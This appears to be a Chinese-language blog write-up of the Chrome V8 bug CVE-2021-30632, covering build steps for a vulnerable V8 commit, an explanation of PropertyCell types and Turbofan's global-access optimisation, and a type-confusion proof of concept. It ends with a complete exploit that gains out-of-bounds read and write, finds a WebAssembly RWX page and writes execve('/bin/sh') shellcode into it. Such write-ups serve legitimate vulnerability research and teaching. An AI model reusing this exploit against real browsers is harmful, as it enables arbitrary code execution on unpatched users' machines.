chrome v8 CVE-2021-30632

参考文章:


个人见解,有不对的地方,欢迎各位师傅批评指正


版本回退

1
2
3
4
5
6
7
cd v8
git checkout 632e6e71c5f
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

前置知识

  • PropertyCell
  • Ignition
  • IR
  • Turbofan JIT

PropertyCell

1
2
3
4
5
6
7
8
9
10
// A PropertyCell's property details contains a cell type that is meaningful if
// the cell is still valid (does not hold the hole).
enum class PropertyCellType {
kMutable, // Cell will no longer be tracked as constant.
kUndefined, // The PREMONOMORPHIC of property cells.
kConstant, // Cell has been assigned only once.
kConstantType, // Cell has been assigned only one type.
// Value for dictionaries not holding cells, must be 0:
kNoCell = kMutable,
};

每一个全局对象/变量都会有一个PropertyCell(属性单元格),其中记录着这个对象的值,cell_type也就是PropertyCellType,等等,JIT在优化代码时,会根据cell_type的不同,来生成不同的机械码(优化码)

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
var a;
// 初始阶段,全局变量 a 未赋值
// a 的 PropertyCellType = kUndefined

a = 42;
// 赋值一次,a 现在是 kConstant

a = 100;
// 赋值第二次,但还是 Number 类型,a 现在是 kConstantType

a = "hello";
// 类型变了 -> a 现在是 kMutable
// 优化失效,后续访问只能退化为普通查找

这个漏洞是因为当一个对象的cell_typekConstantType的时候,其所绑定的map是可以改变的,但在deopt(解优化)的判断时,认为kConstantType可以为map做担保,导致了漏洞

lgnition

用于将JS的源码转化为能被V8识别的字节码,由V8解释器执行

IR

每条字节码都会生成对应的IR节点,每一个节点代表着一个具体操作,同时每个IR节点里还会携带一个access_mode,这个之后源码分析里会用到

Turbofan JIT

对字节码进行优化

源码分析

load分支

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Reduction JSNativeContextSpecialization::ReduceGlobalAccess(......)
{
...
if (access_mode == AccessMode::kLoad || access_mode == AccessMode::kHas) {//先判断IR节点的access_mode
...
if (property_details.cell_type() == PropertyCellType::kConstantType) {//接着判断IR节点对应的全局对象的cell_type
...
if (property_cell_value_map.is_stable()) {//判断这个全局对象的map是不是stable,如果是就会注册依赖
dependencies()->DependOnStableMap(property_cell_value_map);
//注册一个依赖,如果之后这个map由stable变为unstable后,就会解优化
map = property_cell_value_map.object();
}
}
...

store分支

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
else {
DCHECK_EQ(AccessMode::kStore, access_mode); //先判断IR节点的access_mode
DCHECK_EQ(receiver, lookup_start_object);
DCHECK(!property_details.IsReadOnly());
switch (property_details.cell_type()) {
case PropertyCellType::kConstant: {
...
}
case PropertyCellType::kConstantType: { //如果这个全局对象的cell_type是kConstantType就进入这个分支
// Record a code dependency on the cell, and just deoptimize if the new
// value's type doesn't match the type of the previous value in the
// cell.
dependencies()->DependOnGlobalProperty(property_cell); //给这个cell_type注册一个依赖,如果之后cell_type改变,就会deopt
Type property_cell_value_type;
MachineRepresentation representation = MachineRepresentation::kTagged;
if (property_cell_value.IsHeapObject()) {
MapRef property_cell_value_map =
property_cell_value.AsHeapObject().map();
if (property_cell_value_map.is_stable()) { //如果这个全局对象的map是stable就会注册一个依赖
dependencies()->DependOnStableMap(property_cell_value_map);//当map由stable->unstable后解优化
} else {
// The value's map is already unstable. If this store were to go
// through the C++ runtime, it would transition the PropertyCell to
// kMutable. We don't want to change the cell type from generated
// code (to simplify concurrent heap access), however, so we keep
// it as kConstantType and do the store anyways (if the new value's
// map matches). This is safe because it merely prolongs the limbo
// state that we are in already.
}
...
// Check {value} map against the {property_cell_value} map.
effect = graph()->NewNode(
simplified()->CheckMaps( //检测传入的map和生成优化码时的全局变量的map是否一样,若不一样,则触发deopt
CheckMapsFlag::kNone,
ZoneHandleSet<Map>(property_cell_value_map.object())),
value, effect, control);
property_cell_value_type = Type::OtherInternal();
representation = MachineRepresentation::kTaggedPointer;
}
...
}
case PropertyCellType::kMutable: {
...
}
case PropertyCellType::kUndefined:
...
}
}

具体的测试案例大家可以参考[原创]chrome v8漏洞CVE-2021-30632浅析-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com 师傅写的很详细

总结触发deopt的条件:当一个全局对象的cell_typekConstantType

  • load分支: 优化时刻MapA为Stable,后面修改MapA为MapB
  • store分支:
    • 全局变量属性的类型发生变化(cell_type改变)
    • 全局变量Map由stable变为not stable
    • 传入store参数的Map和前面不一致

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
function foo(y) {
x = y;
}

function oobRead() {
return x[16];
}

function oobWrite(addr) {
x[16] = addr;
}

var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;//这里给arr添加属性a的目的是为了使这个map变成stable的
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
var temp = new Array(20); temp.fill(4); temp.a = 1;
var x = temp;
var oobarr = [1.1];
//这个时候x和temp操纵同一个对象,只是变量名不同,而且arr1,arr2,temp的map都相同,记为MapA,都为stable
%PrepareFunctionForOptimization(foo);
foo(arr1);

arr2[0] = 1.1;//这时候创建新的map记为MapB,并将arr2的map迁移为MapB,这时候MapA转变为unstable,MapB为stable

%OptimizeFunctionOnNextCall(foo);
foo(arr1);//对函数f1()机型opt

x[0] = 1.1;//x的map也转变为MapB,这时x的cell_type不变,仍为kConstantType,map由unstable转变为stable,没有触发deopt的条件


%PrepareFunctionForOptimization(oobRead);
oobRead();

%OptimizeFunctionOnNextCall(oobRead);
oobRead();

%PrepareFunctionForOptimization(oobWrite);
oobWrite(1.1);

%OptimizeFunctionOnNextCall(oobWrite);
oobWrite(1.1); //这里进行opt的时候x的map为MapB

foo(temp);//这个地方其实一直不太明白,因为这个时候改变了x,按理来说oobread和oobwrite因该是会触发deopt的,但是最后并没有
//x=temp //如果是这样,确实符合我的预期,会触发oobread和oobwrite的deopt
//我猜测是因为在全局变量的property_cell中记录着当前变量所持有的value的map,在opt时,记录的map为MapB,但是在foo(temp)时,没有经过reassignment,所以x的property_cell中的值并没有改变,还是记录着原有的map,所以逃过了检测

//这个时候就可以实现越界读取了,x的map记录为SMI的数组,但是通过oobwrite和oobread却可以将x当成是double类型的数组进行操作,类型混淆,就导致了oob

EXP

接下来就是常见的打法了,不再赘述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
function hexx(str, value)
{
print("\033[32m[+]"+str+": \033[0m0x"+value.toString(16));
}

var buf=new ArrayBuffer(0x8);
var fbuf=new Float64Array(buf);
var ibuf=new BigInt64Array(buf);

function ftoi(val)
{
fbuf[0]=val;
return ibuf[0];
}
function itof(val)
{
ibuf[0]=val;
return fbuf[0];
}

function foo(y) {
x = y;
}

function oobRead() {
return x[16];
}

function oobWrite(addr) {
x[16] = addr;
}
var unuse=[];
unuse.push(1.1,2.2);//这个地方是为了使temp的地址八字节对齐,貌似在不同的目录下temp的地址稍微会有点差错,大家自己调试一下就好了
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
var temp = new Array(20); temp.fill(4); temp.a = 1;
var x = temp;
var oobarr = [1.1];

%PrepareFunctionForOptimization(foo);
foo(arr1);

arr2[0] = 1.1;

%OptimizeFunctionOnNextCall(foo);
foo(arr1);

x[0] = 1.1;

%PrepareFunctionForOptimization(oobRead);
oobRead();

%OptimizeFunctionOnNextCall(oobRead);
oobRead();

%PrepareFunctionForOptimization(oobWrite);
oobWrite(1.1);

%OptimizeFunctionOnNextCall(oobWrite);
oobWrite(1.1);


foo(temp);

var length_ptr=ftoi(oobRead());
hexx("length_ptr",length_ptr);

oobWrite(itof(length_ptr|0x100000000000n));

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;

var intArr = new Uint8Array(0x2000);

var instance=ftoi(oobarr[0xda-2]);
hexx("instance",(instance>>32n));

var view_rwx=[1.1];
oobarr[0xda+41]=itof((instance>>32n)|0x100000000000n);
var rwx=ftoi(view_rwx[12]);
hexx("rwx: ",rwx);


oobarr[0xda-2+15]=itof(rwx);

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

for (let i = 0; i < shellcode.length; i++) {
let value = shellcode[i];
for (let j = 0; j < 8; j++) {
intArr[i * 8 + j] = Number((value >> BigInt(8 * j)) & 0xffn);
}
}

pwn()